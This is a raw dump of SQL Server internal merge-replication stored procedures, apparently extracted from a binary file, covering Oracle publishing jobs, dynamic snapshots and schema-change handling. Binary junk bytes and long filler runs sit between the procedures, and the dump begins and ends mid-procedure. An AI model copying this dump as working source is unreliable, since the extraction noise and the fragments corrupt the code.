    
EXIT_PROC:
    close well_partitioned_articles
    deallocate well_partitioned_articles
    return @retcode
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	e<0i˼ s
8
--
-- Name:
--		sp_ORAXactSetJob
--
-- Description:
--		Manage the Oracle XactSet Job
--
-- Inputs:
--		@publisher		== name of Oracle publisher
--		@enabled		== enabled flag
--		@interval		== minutes between job execution
--		@threshold		== changes needed to force new interval
--		@LRinterval		== minutes between job execution when log reader is active
--		@LRthreshold	== changes needed to force new interval when log reader is active
--
-- Returns:
--		Return code (0 for success, 1 for failure)
--
-- Security:
--		internal stored procedure 
-- Requires Certificate signature for catalog access
--
CREATE PROCEDURE sys.sp_ORAXactSetJob
(
	@publisher		sysname,
	@enabled		bit = NULL,
	@interval		int = NULL,
	@threshold		int = NULL,
	@LRinterval		int = NULL,
	@LRthreshold	int = NULL
)
AS
BEGIN
	DECLARE @retcode	int
	DECLARE @pubid		int
	DECLARE @cmd			nvarchar(400)
	DECLARE	@InsColumnList		nvarchar(200)
	DECLARE	@SelectColumnList	nvarchar(200)
	
	SET NOCOUNT ON

	--
	-- Security Check: require sysadmin
	--
	IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
	BEGIN
		RAISERROR(21089,16,-1) 
		RETURN (1)
	END

	-- Get publisher ID
	SELECT @pubid = srvid
	FROM	master.dbo.sysservers
	WHERE	UPPER(srvname collate database_default) = UPPER(@publisher)
	
	IF @pubid IS NULL
	BEGIN
		RAISERROR(21600, 16, -1, @publisher)
		RETURN (1)
	END

	-- Define sp_ORAremotequery support table
	create table #hquery
	(
		seq	int identity(2,1),
		cmd	nvarchar(4000)
	)

	-- call HREPL.RefreshXactSetJob to refresh Oracle XactSet job
	INSERT INTO #hquery(cmd) VALUES (N'{CALL HREPL.REFRESHXactSetJob(')
	IF @enabled IS NULL 
		INSERT INTO #hquery(cmd) VALUES ( N'NULL,')
	ELSE
		INSERT INTO #hquery(cmd) VALUES (CONVERT(NVARCHAR(255), @enabled) + N',')
		
	IF @interval IS NULL 
		INSERT INTO #hquery(cmd) VALUES ( N'NULL,')
	ELSE
		INSERT INTO #hquery(cmd) VALUES (CONVERT(NVARCHAR(255), @interval) + N',')
		
	IF @threshold IS NULL 
		INSERT INTO #hquery(cmd) VALUES ( N'NULL,')
	ELSE
		INSERT INTO #hquery(cmd) VALUES (CONVERT(NVARCHAR(255), @threshold) + N',')
		
	IF @LRinterval IS NULL 
		INSERT INTO #hquery(cmd) VALUES ( N'NULL,')
	ELSE
		INSERT INTO #hquery(cmd) VALUES (CONVERT(NVARCHAR(255), @LRinterval) + N',')
	
	IF @LRthreshold IS NULL 
		INSERT INTO #hquery(cmd) VALUES ( N'NULL)}')
	ELSE
		INSERT INTO #hquery(cmd) VALUES (CONVERT(NVARCHAR(255), @LRthreshold) + N')}')

	EXEC @retcode = sys.sp_IHquery @publisher
	IF  (@@error <> 0 OR @retcode <> 0 )
	BEGIN
		RAISERROR (21786, 16, -1, @publisher)
		RETURN (1)
	END

	RETURN(0)
END
0b}@ $
8create procedure sys.sp_MSget_dynamic_snapshot_location (
            @pubid uniqueidentifier,
            @partition_id int, 
            @dynsnap_location nvarchar(255) OUTPUT) 
as
begin
    declare @retcode int
    declare @when_created datetime, @when_started datetime
    declare @cutoffdate datetime
    declare @curdate datetime
   
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @pubid = @pubid
    if @retcode<>0 or @@ERROR<>0
        return 1
        
    select @dynsnap_location = dynamic_snapshot_location, @when_created = last_updated, @when_started = last_started
        from dbo.MSmerge_dynamic_snapshots where partition_id = @partition_id	
    if @dynsnap_location is NULL
        return 0

    -- make sure that the dynamic snapshot was created within retention period
    select @curdate = getdate()
    select @cutoffdate = min(sys.fn_subtract_units_from_date(isnull(retention,0), retention_period_unit, @curdate))
        from dbo.sysmergepublications where pubid=@pubid

    if @when_created < @cutoffdate
    begin
        select @dynsnap_location = NULL

        -- clear out the old dynamic snapshot
        update dbo.MSmerge_dynamic_snapshots
            set dynamic_snapshot_location = NULL, last_updated = NULL, last_started = NULL
            where partition_id = @partition_id
    end
    
    -- for sub-based articles, make sure there is no generation interesting to this partition id that might have
    -- a coldate higher than this dynamic snapshot's start time. we really needed to care about remote generations only, but
    -- due to localization, even remote generations could end up looking like local. so, to be safe, look at all generations.
    if exists (select * from dbo.sysmergepartitioninfo where pubid = @pubid and partition_options = 3)
    begin
		if @when_started is null or
			exists (select * from dbo.MSmerge_genhistory gh join dbo.MSmerge_generation_partition_mappings gpm
					on gh.generation = gpm.generation
					and (gh.art_nick = 0 or gh.art_nick in (select nickname from dbo.sysmergepartitioninfoview where partition_options = 3 and pubid = @pubid))
					and gh.coldate >= @when_started
					and (gpm.partition_id = @partition_id or gpm.partition_id = -1))
		begin
			select @dynsnap_location = NULL

			-- clear out the old dynamic snapshot
			update dbo.MSmerge_dynamic_snapshots
				set dynamic_snapshot_location = NULL, last_updated = NULL, last_started = NULL
				where partition_id = @partition_id
		end
    end
    
    return 0
end
0~Q@ 8
create procedure sys.sp_MSenumschemachange_70(
    @pubid              uniqueidentifier,
    @AlterTableOnly     int,
    @schemaversion      int,
    @compatlevel        int
    )
as

    /*
    ** To public
    */
    
    if (@schemaversion is null)
        begin
        RAISERROR(14043, 16, -1, '@schemaversion', 'sp_MSenumschemachange_70')
        return (1)
        end

    if object_id('MSmerge_contents') is NULL
    begin
        RAISERROR(20054 , 16, -1)
        return (1)
    end

    create table #temp_table_sp_MSenumschemachange_70
        (pubid uniqueidentifier NULL, 
         artid uniqueidentifier NULL,
         schemaversion int NULL,
         schemaguid uniqueidentifier NULL,
         schematype int NULL,
         schematext nvarchar(2000) collate database_default null)

    /* handle the case of reinitall */
    if exists (select pubid from dbo.sysmergeschemachange where schemaversion > @schemaversion 
            and pubid = @pubid and schematype = 12)
        select @schemaversion = 0

    /*
    ** For 70 RTM and SP1, we want to filter out type 9 (retention propagation) and 16 (metadata cleanup)
    ** and 5 ( last rec generation ) and 6 (last sent generation)
    ** which they do not support. SP2 subscriber will be passing in 7000200, which gets understands
    ** these schema types
    */
    insert into #temp_table_sp_MSenumschemachange_70
        select pubid, artid, schemaversion, schemaguid, schematype, convert(nvarchar(2000), schematext) as schematext
          from dbo.sysmergeschemachange where schemaversion > @schemaversion 
                and pubid = @pubid
                and ((@compatlevel=7000000 and schematype in (-1, 1, 2, 3, 4, 7, 8, 10, 15, 20))
                  or (@compatlevel=7000200 and 
                    ((schematype in (-1, 1, 2, 3, 4, 7, 8, 9, 10, 12, 15, 16, 20,66)) 
                        or schematype in (5, 6) and @schemaversion = 0)))
        order by schemaversion       
        
    -- Some schematypes that are distinct in Yukon used to have wrong number pre-Shiloh.
    -- Map them back to the old values.
    update #temp_table_sp_MSenumschemachange_70 set schematype=8 where schematype in (21,23)
    update #temp_table_sp_MSenumschemachange_70 set schematype=9 where schematype = 18

    /* for SP2 downlevel subscribers who do not understand type 12 (reinit-all) at provider level, but do
    ** at reconcile level, change it to type = 7 (directory) to be no-op.
    */
    if @compatlevel=7000200
        update #temp_table_sp_MSenumschemachange_70 set schematype=7 where schematype = 12

    select  * from #temp_table_sp_MSenumschemachange_70
    drop table #temp_table_sp_MSenumschemachange_70
    
    return (0)

`<E~NDAu0@ Y8--
-- Name: sp_MSclear_dynamic_snapshot_location
--
-- Descriptions: 
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: 
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MSclear_dynamic_snapshot_location (@publication sysname, @partition_id int = NULL, @deletefolder bit = 0) 
as
begin
	set nocount on
	declare @retcode  int
   	declare @pubnumber smallint
   	declare @publisher sysname
   	declare @publisher_db sysname
   	declare @command nvarchar(4000)
   	declare @dynsnap_location nvarchar(260)
    declare @distributor            sysname
    declare @dist_rpcname           sysname
    declare @distribdb              sysname
    declare @distproc               nvarchar(300)
    declare @dir                    nvarchar(260)
    declare @dynamic_filter_login       sysname
    declare @dynamic_filter_hostname    sysname    
   	declare @backward_comp_level        int

   	select @publisher = publishingservername() 
   	select @publisher_db = DB_NAME() 
	
	-- Only a dbo or sysadmin can do this
	exec @retcode = sys.sp_MSreplcheck_publish
	if @retcode<>0 or @@ERROR<>0
	    return 1

	select @pubnumber = publication_number ,
           @backward_comp_level = backward_comp_level
      from dbo.sysmergepublications  
     where name=@publication 
       and upper(publisher)=upper(@publisher) 
       and publisher_db=@publisher_db
    if @pubnumber is NULL or @pubnumber = 0 
    begin
		RAISERROR (20026, 16, -1, @publication)
        return 1
    end

    if (@partition_id is NULL or @deletefolder=1)
    begin

        EXEC @retcode = sys.sp_helpdistributor @distributor = @distributor OUTPUT, 
            @distribdb = @distribdb OUTPUT,
            @rpcsrvname = @dist_rpcname OUTPUT 
            if @@error <> 0 OR @retcode <> 0 or @distributor IS NULL OR @distribdb IS NULL
        BEGIN
            RAISERROR (14071, 16, -1)
            RETURN (1)
        END

        if((@deletefolder=1) and (@partition_id is not null))
        begin
            --the same cursor query but only for one specified partition_id
            declare partitions_cursor cursor local fast_forward for 
            select dynsnaps.partition_id, 
                   dynsnaps.dynamic_snapshot_location,
                   dynsnapjobs.dynamic_filter_login,
                   dynsnapjobs.dynamic_filter_hostname 
              from dbo.MSmerge_dynamic_snapshots dynsnaps
         left join dbo.MSdynamicsnapshotjobs dynsnapjobs
                on dynsnaps.partition_id = dynsnapjobs.partition_id 
                where dynsnaps.partition_id =@partition_id        
        end
        else        
            -- create a cursor and browse through all the partitions
            declare partitions_cursor cursor local fast_forward for 
            select dynsnaps.partition_id, 
                   dynsnaps.dynamic_snapshot_location,
                   dynsnapjobs.dynamic_filter_login,
                   dynsnapjobs.dynamic_filter_hostname 
              from dbo.MSmerge_dynamic_snapshots dynsnaps
         left join dbo.MSdynamicsnapshotjobs dynsnapjobs
                on dynsnaps.partition_id = dynsnapjobs.partition_id 
                where dynsnaps.partition_id in (select partition_id from dbo.MSmerge_partition_groups where publication_number = @pubnumber)
            
        open partitions_cursor 
        fetch next from partitions_cursor into @partition_id, @dynsnap_location, @dynamic_filter_login, @dynamic_filter_hostname
        while (@@fetch_status <> -1)
        begin

            delete from dbo.MSmerge_dynamic_snapshots where partition_id = @partition_id
            
            -- delete the directory on the disk as well
            if @dynsnap_location is not null and @dynsnap_location != ''
            begin
                select @distproc = QUOTENAME(RTRIM(@dist_rpcname)) + N'.' + QUOTENAME(@distribdb) + N'.dbo.sp_MScleanupdynamicsnapshotfolder'
                exec @retcode = @distproc
                    @publisher = @publisher,
                    @publisher_db = @publisher_db,
                    @publication = @publication,
                    @dynamic_filter_login = @dynamic_filter_login,
                    @dynamic_filter_hostname = @dynamic_filter_hostname,
                    @dynamic_snapshot_location = @dynsnap_location,
                    @partition_id = @partition_id        
                if @@error<>0 or @retcode<>0 
                    return 1
            
                if @backward_comp_level < 90 and isnull(is_srvrolemember('sysadmin'),0) = 1
                begin
                    SELECT @distproc = RTRIM(@dist_rpcname) + '.' + QUOTENAME(@distribdb) + '.dbo.sp_MSdeletefoldercontents'
                
                    select @dir = @dynsnap_location
                    EXECUTE @retcode = @distproc @dir
                    if @@error<>0 or @retcode<>0 
                        return 1
                end
            end
            fetch next from partitions_cursor into @partition_id, @dynsnap_location, @dynamic_filter_login, @dynamic_filter_hostname
        end
        close partitions_cursor
        deallocate partitions_cursor
    end
    else    
    begin
        select @dynsnap_location = dynamic_snapshot_location from  dbo.MSmerge_dynamic_snapshots where partition_id = @partition_id

		-- dynamic snapshot calls this proc at the beginning. use this to mark the starting time of the dynamic snapshot. this is 
		-- used in the case of sub-based articles - to invalidate dyn snapshot if it started before a generation was closed for a
		-- sub-based article.
        update dbo.MSmerge_dynamic_snapshots 
            set dynamic_snapshot_location = NULL, last_updated = NULL, last_started = getdate() where partition_id = @partition_id
            
        if @@rowcount = 0
			insert into dbo.MSmerge_dynamic_snapshots (partition_id, dynamic_snapshot_location, last_updated, last_started)
				values (@partition_id, NULL, NULL, getdate()) 
    end

    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`8<2	N)?AE0' l	8create procedure sys.sp_MSgetdynamicsnapshotapplock(
    @publication sysname,
    @partition_id int,
    @lock_acquired int OUTPUT,
    @timeout int = -1)
as
    set nocount on

    declare @retcode smallint
    declare @lock_resource nvarchar(255)
    declare @pubnumber smallint
    declare @publisher sysname
    declare @publisher_db sysname
    declare @pubid uniqueidentifier   	
    declare @PALRole sysname

    select @publisher = publishingservername() 
    select @publisher_db = DB_NAME() 
    select @pubnumber = 0

    select @retcode = 0
    select @lock_acquired = -1

    -- partition id can be >= 0 
    if @partition_id = -1
    begin
        raiserror(20627, 16, -1)
        return 1
    end

    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @publication = @publication
    if @retcode<>0 or @@ERROR<>0
        return 1

    select @pubnumber = publication_number, @pubid = pubid  from dbo.sysmergepublications  
            where name=@publication and upper(publisher)=upper(@publisher) and publisher_db=@publisher_db
    if @pubnumber is NULL or @pubnumber = 0 
    begin
        RAISERROR (20026, 16, -1, @publication)
        return 1
    end

    -- Since we have gone through the PAL check already, the PAL role
    -- should have been set. The following call to fn_MSmerge_GetPALRole 
    -- is nothing more than a way to retrieve the PAL role name
    select @PALRole = NULL
    select @PALRole = sys.fn_MSmerge_GetPALRole(@pubid)
    if @PALRole is NULL
        return 1

    select @lock_resource = N'MSinternal_dynamic_snapshot_' + 
                    convert(nvarchar(6), db_id()) + '_' +
                    convert(nvarchar(6), @pubnumber) + '_' +
                    convert(nvarchar(11), @partition_id)

    exec @retcode = sp_getapplock @Resource = @lock_resource,
                                  @LockMode = N'Exclusive',
                                  @LockOwner = N'Session',
                                  @LockTimeout = @timeout, -- wait till the the given @timeout time to get it
                                  @DbPrincipal = @PALRole
    if @@error = 0
    begin
        select @lock_acquired = @retcode
        select @retcode = 0
    end
    else
    begin
        select @lock_acquired = -1
        select @retcode  = 1
    end

    return @retcode
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`6	P<E-0҉( 
8create procedure sys.sp_MSrepl_getpkfkrelation
    @filtered_table nvarchar(400),
    @joined_table nvarchar(400)
as
    declare @pk_fk_relationships table (filtered_table_column sysname, joined_table_column sysname)
    
    declare @basecol    sysname
    , @joincol    sysname
    , @basecolid   int
    , @joincolid   int
    , @keycnt        int
    , @base_columns    varbinary(128)
    , @join_columns    varbinary(128)
    , @keyindex    int
    , @retcode    smallint
    , @dri_rowcount int
    , @constid int
    , @base_objid int
    , @join_objid int
    
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

    select @base_objid = object_id(@filtered_table), @join_objid = object_id(@joined_table)
        
    select @constid = object_id, 
           @keycnt = (select count(*) from sys.foreign_key_columns k where k.constraint_object_id = f.object_id)
        from sys.foreign_keys f 
        where f.parent_object_id = @base_objid and f.referenced_object_id = @join_objid
    
    select @dri_rowcount = @@rowcount
          
    /* Loop over keys */
    
    set @keyindex = 1
        
    while @keyindex <= @keycnt
    begin
        /* Get the column names */
        
        /* also pass in vertical partitioning binary to excluded columns that are not in the current partition */
        /*
        exec sys.sp_MSindexcolfrombin @base_objid, @keyindex, @basekeys, @basecol output, NULL
        if @@ERROR<>0 return (1)
        exec sys.sp_MSindexcolfrombin @join_objid, @keyindex, @joinkeys, @joincol output, NULL
        if @@ERROR<>0 return (1)
        */
        select @basecolid = parent_column_id, @joincolid = referenced_column_id 
            from sys.foreign_keys f, sys.foreign_key_columns k 
            where f.parent_object_id = @base_objid and 
                  f.referenced_object_id = @join_objid and 
                  k.constraint_object_id = f.object_id and
                  k.constraint_column_id = @keyindex
                      
        select @basecol = name from sys.columns where object_id = @base_objid and column_id = @basecolid
        select @joincol = name from sys.columns where object_id = @join_objid and column_id = @joincolid        
        
        if @basecol is not NULL and @joincol is not NULL
        begin
            select @basecol = quotename(@basecol), @joincol = quotename(@joincol)
        
            insert into @pk_fk_relationships (filtered_table_column, joined_table_column)
                values (@basecol, @joincol)
        end
            
        /* move on to the next key */
        set @keyindex = @keyindex + 1
    end
    
    select * from @pk_fk_relationships

    return (0)
0".@ q8create procedure sys.sp_adddynamicsnapshot_job (
    @publication sysname,
    @suser_sname sysname = null,
    @host_name sysname = null,
    @dynamic_snapshot_jobname sysname = null output,
    @dynamic_snapshot_jobid uniqueidentifier = null output,

    -- Scheduling information
    @frequency_type              int = 2, -- 2 means OnDemand
    @frequency_interval          int = 1,
    @frequency_subday            int = 1,
    @frequency_subday_interval   int = 1,
    @frequency_relative_interval int = 1, 
    @frequency_recurrence_factor int = 1,
    @active_start_date           int = 0,
    @active_end_date             int = 0,
    @active_start_time_of_day    int = 0, 
    @active_end_time_of_day      int = 0
)
as
    declare @retcode int
    
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
        return (1)

    if @suser_sname is NULL or ltrim(rtrim(@suser_sname)) = N''
        select @suser_sname = NULL
    if @host_name is NULL or ltrim(rtrim(@host_name)) = N''
        select @host_name = NULL
        
    exec @retcode = sys.sp_MSaddmergedynamicsnapshotjob 
            @publication = @publication, 
            @dynamic_filter_login = @suser_sname, 
            @dynamic_filter_hostname = @host_name, 
            @dynamic_snapshot_location = NULL, 
            @dynamic_snapshot_jobname = @dynamic_snapshot_jobname output,
            @dynamic_snapshot_jobid = @dynamic_snapshot_jobid output,
            @frequency_type = @frequency_type,
            @frequency_interval = @frequency_interval,
            @frequency_subday = @frequency_subday,
            @frequency_subday_interval = @frequency_subday_interval,
            @frequency_relative_interval = @frequency_relative_interval, 
            @frequency_recurrence_factor = @frequency_recurrence_factor,
            @active_start_date = @active_start_date,
            @active_end_date = @active_end_date,
            @active_start_time_of_day = @active_start_time_of_day, 
            @active_end_time_of_day = @active_end_time_of_day
     return @retcode
0,@ 
8

create procedure sys.sp_MSmap_generation_to_partitionids @gen bigint, @art_nick int, @is_local_gen bit=0
as
    if exists (select * from dbo.sysmergepublications where use_partition_groups > 0)
    begin
        if @art_nick is null
                select @art_nick = 0
        
        if @art_nick = 0        
        begin
            insert into dbo.MSmerge_generation_partition_mappings with (rowlock)
                (publication_number, partition_id, generation, changecount)
                    select cpm.publication_number, cpm.partition_id, mc.generation, count(*)
                    from dbo.MSmerge_current_partition_mappings cpm with (rowlock)
                        inner join dbo.MSmerge_contents mc with (rowlock) on mc.tablenick = cpm.tablenick
                    and mc.rowguid = cpm.rowguid
                    and mc.generation = @gen
                    group by cpm.publication_number, cpm.partition_id, mc.generation 
                    
            insert into dbo.MSmerge_generation_partition_mappings with (rowlock)
                (publication_number, partition_id, generation, changecount)
                    select publication_number, partition_id, generation, count(*)
                    from dbo.MSmerge_past_partition_mappings with (rowlock)
                    where generation = @gen
                    group by publication_number, partition_id, generation
        end
        else
        begin
            insert into dbo.MSmerge_generation_partition_mappings with (rowlock)
                (publication_number, partition_id, generation, changecount)
                    select cpm.publication_number, cpm.partition_id, mc.generation, count(*)
                    from dbo.MSmerge_current_partition_mappings cpm with (rowlock)
                        inner join dbo.MSmerge_contents mc with (rowlock) on mc.tablenick = cpm.tablenick
                    and mc.tablenick = @art_nick
                    and cpm.tablenick = @art_nick
                    and mc.rowguid = cpm.rowguid
                    and mc.generation = @gen
                    group by cpm.publication_number, cpm.partition_id, mc.generation
                    
            insert into dbo.MSmerge_generation_partition_mappings with (rowlock)
                (publication_number, partition_id, generation, changecount)
                    select publication_number, partition_id, generation, count(*)
                    from dbo.MSmerge_past_partition_mappings with (rowlock)
                    where generation = @gen
                    and tablenick = @art_nick
                    group by publication_number, partition_id, generation
        end
    end
    
    return 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!j`<w0B 8create function sys.fn_servershareddrives
	(
	)
returns @tab table(DriveName nchar(1) NOT NULL)
as
begin
	insert @tab
	select [DriveName] from OpenRowset(TABLE SERVERSHAREDDRIVES)

	return
end
0 8create procedure sys.sp_MSregenerate_mergetriggersprocs(
    @pubid uniqueidentifier)
as
begin
    declare @publication sysname
    , @publisher sysname
    , @publisher_db sysname
    , @retcode int
    , @artid uniqueidentifier
    , @prev_artid uniqueidentifier
    , @article sysname
    , @snapshot_ready tinyint
    , @local_pub bit
    
    -- security check
    exec @retcode = sys.sp_MSreplcheck_subscribe
    if @retcode<>0 or @@ERROR<>0
        return 1
    
    select @publication = name, @publisher = publisher, @publisher_db = publisher_db, @snapshot_ready = snapshot_ready 
    from dbo.sysmergepublications
    where pubid = @pubid
    
    if @publication is null
    begin
        return 1
    end

    select @local_pub = sys.fn_MSmerge_islocalpubid(@pubid)

    -- for a local publication if the snapshot is not ready there is not need to regenerate this since the snapshot will
    -- be made ready when the snaphsot is run and the snapshot will regenerate the procs and triggers.
    if @local_pub = 1 and @snapshot_ready <> 1
        return 0
    
    exec @retcode = sys.sp_MSregenerate_mergetriggers @publication, @publisher, @publisher_db
    if @@error<>0 OR @retcode<>0 
    begin
        return 1
    end 
    
    -- Call sp_MSsetartprocs if running on publisher. Else, call sp_MSmakearticleprocs.
    if @local_pub = 1
    begin
        -- at publisher
        select top 1 @artid = artid, @article = name from sysmergearticles where pubid = @pubid order by artid
        while @artid is not null
        begin
            exec @retcode = sys.sp_MSsetartprocs @publication=@publication, @article=@article, 
                                                 @force_flag=0, @pubid=@pubid
            if @@error<>0 OR @retcode<>0 
            begin
                return 1
            end 
            
            select @prev_artid = @artid
            select @artid = NULL
            
            select top 1 @artid = artid, @article = name from sysmergearticles where pubid = @pubid and artid > @prev_artid order by artid
        end
    end
    else
    begin
        -- at subscriber
        select top 1 @artid = artid, @article = name from sysmergearticles where pubid = @pubid order by artid
        while @artid is not null
        begin
            exec @retcode = sys.sp_MSmakearticleprocs @pubid, @artid, 1
            if @@error<>0 OR @retcode<>0 
            begin
                return 1
            end 
            
            select @prev_artid = @artid
            select @artid = NULL
            
            select top 1 @artid = artid, @article = name from sysmergearticles where pubid = @pubid and artid > @prev_artid order by artid
        end
    end
end
0ٶ D8
h-
0#@ 8
create procedure sys.sp_MSinsertschemachange(
    @pubid          uniqueidentifier,
    @artid          uniqueidentifier = NULL, /* Can be NULL for directory commands */
    @schemaversion  int,
    @schemaguid     uniqueidentifier,
    @schematype     int,
    @schematext     nvarchar(max),
    @schemasubtype      int = 0,
    @update_schemaversion tinyint = 1
    )
as
    declare @retcode            int
    declare @constraintname     sysname 
    declare @owner              sysname
    declare @tablename          sysname
    declare @qualname           nvarchar(270)
    declare @objid              int
    declare @alter_table_type   int
    declare @subid    uniqueidentifier
    
    /*
    ** Check for subscribing permission
    */
    exec @retcode=sys.sp_MSreplcheck_subscribe
    if @retcode<>0 or @@ERROR<>0 return (1)
    
    select @alter_table_type = 11
    
    /* Parameter validation */
    if (@schemaversion is null)
        begin
        RAISERROR(14043, 16, -1, '@schemaversion', 'sp_MSinsertschemachange')
        return (1)
        end

    /*
    ** Special case: for push subscription, reinit-with-upload, we do not want to cleanup subscriber side
    ** cause we need to upload; however we still need to apply alter-table. To avoid duplicate key insert
    ** failure, we no-OP this insert of alter-table schema.
    */
    if @schematype=@alter_table_type and exists 
        (select * from dbo.sysmergeschemachange where pubid=@pubid and schemaversion=@schemaversion)
        return (1)

    begin transaction tran_sp_MSinsertschemachange
	save transaction tran_sp_MSinsertschemachange
        
    if not exists (select * from dbo.sysmergeschemachange with (HOLDLOCK TABLOCKX)
                where pubid=@pubid and artid=@artid and 
                      schemaversion=@schemaversion and schemaguid = @schemaguid and 
                      schematype = @schematype)
    begin
        insert into dbo.sysmergeschemachange with (HOLDLOCK TABLOCKX)
        (pubid, artid, schemaversion, schemaguid, schematype, schematext, schemasubtype)
